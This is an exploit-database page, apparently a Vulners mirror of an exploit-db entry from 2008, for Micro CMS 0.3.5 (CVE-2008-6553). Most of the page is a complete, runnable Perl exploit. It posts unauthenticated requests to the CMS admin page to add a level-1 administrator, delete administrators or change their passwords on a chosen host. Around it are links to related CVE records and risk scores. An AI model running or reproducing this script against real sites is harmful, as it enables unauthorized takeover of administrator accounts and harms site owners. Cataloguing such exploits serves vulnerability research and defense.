Lucene search
+L

Micro CMS 0.3.5 - Remote Add/Delete/Password Change

🗓️ 01 Nov 2008 00:00:00Reported by StAkeRType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Micro CMS 0.3.5 Remote Add/Delete/Password Chang

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-6553
1 Nov 200800:00
circl
CVE
CVE-2008-6553
30 Mar 200916:00
cve
Cvelist
CVE-2008-6553
30 Mar 200916:00
cvelist
EUVD
EUVD-2008-6516
7 Oct 202500:30
euvd
NVD
CVE-2008-6553
30 Mar 200916:30
nvd
Prion
Authentication flaw
30 Mar 200916:30
prion
#!/usr/bin/perl
# --------------------------------------------------------------
# Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit
# StAkeR[at]hotmail[dot]it
# http://www.impliedbydesign.com/apps/microcms/microcms.zip
# --------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($admin,$passwd);
my @real = undef;
my $http = new LWP::UserAgent;
my ($host,$path,$tell) = @ARGV;

if($host !~ /http:\/\/(.+?)$/i || $tell !~ /^\-(delete|change|add)?$/i)
{
  print STDOUT "[+] Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit\n";
  print STDOUT "[+] Usage: perl $0 http://[host] [path] -option (-delete,-change,-add)\n";
  exit;
}


if($tell =~ /delete/i)
{
  print STDOUT "[+]Admin ID: ";
  chomp($admin = <STDIN>);

  if(defined $admin)
  {
    print STDOUT del_admin($admin);
    exit;
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
    exit;
  }
}

if($tell =~ /change/i)
{
  print STDOUT "[+] Admin ID : ";
  chomp($admin = <STDIN>);

  print STDOUT "[+] New Password: ";
  chomp($passwd = <STDIN>);

  if(defined $admin || defined($passwd))
  {
    print STDOUT change_pwd($admin,$passwd);
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
  }
}

if($tell =~ /add/i)
{
  print STDOUT "[+] Admin Username: ";
  chomp($admin = <STDIN>);

  print STDOUT "[+] Admin Password: ";
  chomp($passwd = <STDIN>);

  if(defined $admin || defined($passwd))
  {
    print STDOUT add_admin($admin,$passwd);
  }
  else
  {
    print STDOUT "[+] Not Defined!\n";
  }
}


sub change_pwd
{
  my ($userid,$passwd) = @_;

  my $post = {
               action                  => 'change_password',
               administrators_id       => $userid,
               administrators_password => $passwd,
            };

  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);

  return "[+] Password Changed! ($passwd)\n";

}


sub del_admin
{
  my $userid = shift @_;

  my $post = {
               action                  => 'delete_admin',
               administrators_id       => $userid,
            };

  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);

  return "[+] Admin ($userid) Has Been Deleted!\n";

}


sub add_admin
{
  my ($username,$password) = @_;
  my $level = 1;

  my $post = {
               action                  => 'add_admin',
               administrators_name     => $username,
               administrators_username => $username,
               administrators_password => $password,
               administrators_email    => $username,
               administrators_level    => $level,
            };

  $http->post($host.'/'.$path.'/microcms-admin-home.php',$post);

  return "[+] Username: $username and Password: $password\n";
}

# milw0rm.com [2008-11-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Nov 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0247
44